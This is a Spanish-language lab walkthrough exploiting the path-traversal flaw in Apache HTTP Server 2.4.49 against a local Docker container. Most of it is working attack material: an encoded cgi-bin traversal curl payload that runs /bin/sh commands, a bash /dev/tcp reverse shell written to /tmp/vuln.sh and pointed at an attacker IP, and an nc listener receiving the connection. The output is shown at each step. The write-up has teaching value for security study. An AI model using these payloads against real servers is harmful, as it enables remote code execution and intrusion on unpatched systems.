
Se encontró una falla en un cambio realizado en la normalización de rutas en Apache HTTP Server 2.4.49. Un atacante podría utilizar un ataque de path traversal para asignar URLs a archivos fuera de los directorios configurados mediante directivas tipo Alias.
Si los archivos fuera de estos directorios no están protegidos por la configuración predeterminada habitual "require all denied", estas solicitudes pueden tener éxito. Si además los scripts CGI están habilitados para estas rutas alias, esto podría permitir la ejecución remota de código.
Se sabe que este problema ha sido explotado en la naturaleza.
Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores.
Un ataque de path traversal (también conocido como directory traversal) tiene como objetivo acceder a archivos y directorios almacenados fuera de la carpeta raíz web. Al manipular variables que hacen referencia a archivos con secuencias "dot-dot-slash (../)" y sus variaciones, o mediante el uso de rutas de archivo absolutas, podría ser posible acceder a archivos y directorios arbitrarios almacenados en el sistema de archivos, incluido el código fuente de la aplicación o la configuración y archivos críticos del sistema. Debe tenerse en cuenta que el acceso a los archivos está limitado por el control de acceso operativo del sistema (como en el caso de archivos bloqueados o en uso en el sistema operativo Microsoft Windows).
Este ataque también se conoce como "dot-dot-slash", "directory traversal", "directory climbing" y "backtracking".
$ docker-compose build
$ docker-compose up
Confirmar que funciona
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Víctima : localhost:1234
Atacante : 192.168.1.12
Según la documentación, esta es una falla que nos permite ejecutar código de forma remota (RCE).
Podemos explotarla haciendo un curl con la carpeta cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Veamos si realmente tenemos acceso a los comandos, por ejemplo id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Probaremos una reverse shell creando un archivo bash en el servidor de la víctima.
Tomemos como ejemplo la reverse shell en bash que se encuentra en el repositorio PayloadsAllTheThings.
Aquí hay un ejemplo :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
¡Creemos el archivo vuln.sh en la máquina de la víctima en la carpeta /tmp/!
Este archivo contendrá nuestra reverse shell que podemos ejecutar de forma remota. Se conectará a nuestra máquina local en el puerto 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Puedes comprobar el contenido del archivo con el comando
cat$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener con ncat
Creemos el listener en la máquina local.
$ nc -lvnp 44
Solo queda ejecutar el archivo remoto.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Respuesta :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.